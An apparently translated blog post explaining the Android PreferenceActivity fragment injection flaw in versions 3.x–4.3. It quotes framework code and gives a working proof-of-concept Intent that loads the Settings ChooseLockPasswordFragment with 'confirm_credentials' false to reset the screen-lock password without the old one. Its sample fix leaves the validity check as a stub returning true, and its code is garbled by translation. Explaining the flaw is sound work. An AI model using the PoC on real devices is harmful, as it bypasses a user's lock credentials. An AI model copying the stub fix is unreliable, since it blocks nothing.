Fragment injection of Android framework attacks

Fragment injection of Android framework attacks

To adapt to the increasing screen size of devices, Android introduced the Fragment concept after 3. X to display multiple activities on one screen at the same time to make full use of the screen. For instructions on Fragment, read "complete parsing of Android Fragment, everything you need to know about Fragment". Among them, Fragment has a very powerful function, that is, it can be dynamically loaded. In this way, the development of the entire interface is more flexible, and different activities can be dynamically loaded according to different scenarios.

Return to today's topic-inject attacks using Fragment. After 3.x, android engineers reconstructed the implementation of PreferenceActivity and used Fragment to load the interface. By reading the source code, we can find that in onCreate of PreferenceActivity, multiple extra content of Intent needs to be read. constants are defined in PreferenceActivity (that is, the heap EXTRA_XXXX), and two constants areEXTRA_SHOW_FRAGMENT = ": android: show_fragment"AndEXTRA_SHOW_FRAGMENT_ARGUMENTS = ": android: show_fragment_args"The two parameters determine the Fragment of the first display of the current PreferenceActivity. The process is relatively simple, that is, get the fragment_class and fragment_args first, then generate a Fragment instance through reflection, and load it dynamically. The key source code is as follows:

 

 

mSinglePane = hidingHeaders || !onIsMultiPane();        String initialFragment = getIntent().getStringExtra(EXTRA_SHOW_FRAGMENT);       Bundle initialArguments = getIntent().getBundleExtra(EXTRA_SHOW_FRAGMENT_ARGUMENTS);        int initialTitle = getIntent().getIntExtra(EXTRA_SHOW_FRAGMENT_TITLE, 0);        int initialShortTitle = getIntent().getIntExtra(EXTRA_SHOW_FRAGMENT_SHORT_TITLE, 0);

Obtain the initalFragment and initialArguments parameters, and then complete the instantiation in switchToHeaderInner:

 

 

private void switchToHeaderInner(String fragmentName, Bundle args, int direction) {        getFragmentManager().popBackStack(BACK_STACK_PREFS,                FragmentManager.POP_BACK_STACK_INCLUSIVE);        Fragment f = Fragment.instantiate(this, fragmentName, args);        FragmentTransaction transaction = getFragmentManager().beginTransaction();        transaction.setTransition(FragmentTransaction.TRANSIT_FRAGMENT_FADE);        transaction.replace(com.android.internal.R.id.prefs, f);        transaction.commitAllowingStateLoss();    }

So far, we can set the extral of Intent to dynamically modify the Fragment of the first display of PreferenceActivity.

 

We know that in the Android system, apps and apps are isolated from each other and cannot access the other's private data. Intent is used for communication between apps (more accurately, between components. Using Intent, you can easily call up the activities of other apps to achieve function reuse. For example, if you use ZAKER, you need to share it in the circle. In this way, you can directly jump to the sharing interface. However, the premise of using this method is that the target Activity is exported.

Based on the two key points above, can we find a subclass of the exported PreferenceActivity and set the extral value of Intent to open interfaces without exported? What if these interfaces involve security information?

Setting is available on almost every Android device. Setting is signed in the form of system_uid, so it has the power to exercise the system. Its main interface com. android. settings. Settings is inherited from PreferenceActivity and must be exported. We use this as an entry to find the important Fragment in Setting and try to load it. The main purpose is to skip some restrictions that require user interaction. For example, the ChooseLockPassword $ ChooseLockPasswordFragment Fragment class is mainly responsible for setting and modifying the password on the screen lock page. At the same time, this class will implement different logic based on the initialArguments passed in earlier. The key code is as follows:

 

 Intent intent = getActivity().getIntent();            final boolean confirmCredentials = intent.getBooleanExtra("confirm_credentials", true);            if (savedInstanceState == null) {                updateStage(Stage.Introduction);                if (confirmCredentials) {                    mChooseLockSettingsHelper.launchConfirmationActivity(CONFIRM_EXISTING_REQUEST,                            null, null);                }            } else {                mFirstPin = savedInstanceState.getString(KEY_FIRST_PIN);                final String state = savedInstanceState.getString(KEY_UI_STAGE);                if (state != null) {                    mUiStage = Stage.valueOf(state);                    updateStage(mUiStage);                }            }

 

If the key of the input parameter is "confirm_credentials" is true, the old password verification process is started. If it is false, you can skip the old password verification and directly enter the password modification process. The test code is as follows:

 

Intent intent = new Intent();intent.setFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);intent.setClassName("com.android.settings", "com.android.settings.Settings");intent.putExtra(":android:show_fragment", "com.android.settings.ChooseLockPassword$ChooseLockPasswordFragment");intent.putExtra("confirm_credentials", false);startActivity(intent);

 

 

The normal password modification process is "Settings"-> "security"-> "screen lock"-> "confirm your PIN", as shown in:

 

 

 

If you run the DEMO, go to the following interface:

 

 

In this way, you can directly enter the password to overwrite the original password.

This BUG exists in all versions from 3.x to 4.3, and 4.4 has been fixed. 4.4 to force all preferenceactivities to implement the isValidFragment method, see here for details

 

 

 

Personal summary:

It should be said that this repair method serves as a reminder, and the final security is still handled by developers. In addition, many applications are currently based on 2. X, so it is necessary to be compatible with running on 4.4 instead of crash, as long as the isValidFragment method is added to the subclass of PreferenceActivity. However, for versions earlier than version 4.4, such permission disclosure issues still need to be handled independently. The following is compatible with 2. X ~ 4.4 sample code for fixing:

 

Public final class MyPreferenceActivity extends PreferenceActivity {private boolean doValidcheck (String fragmentName) throws IllegalArgumentException {// TODO perform the validity check return true;} // Add this method to make 2. x ~ The 4.3 code runs protected boolean isValidFragment (String fragmentName) {return doValidcheck (fragmentName);} @ Overrideprotected void onCreate (Bundle savedInstanceState) {// judge the validity of String fragmentname = getIntent () before onCreate (). getStringExtra (": android: show_fragment"); doValidcheck (fragmentname); super. onCreate (savedInstanceState );}}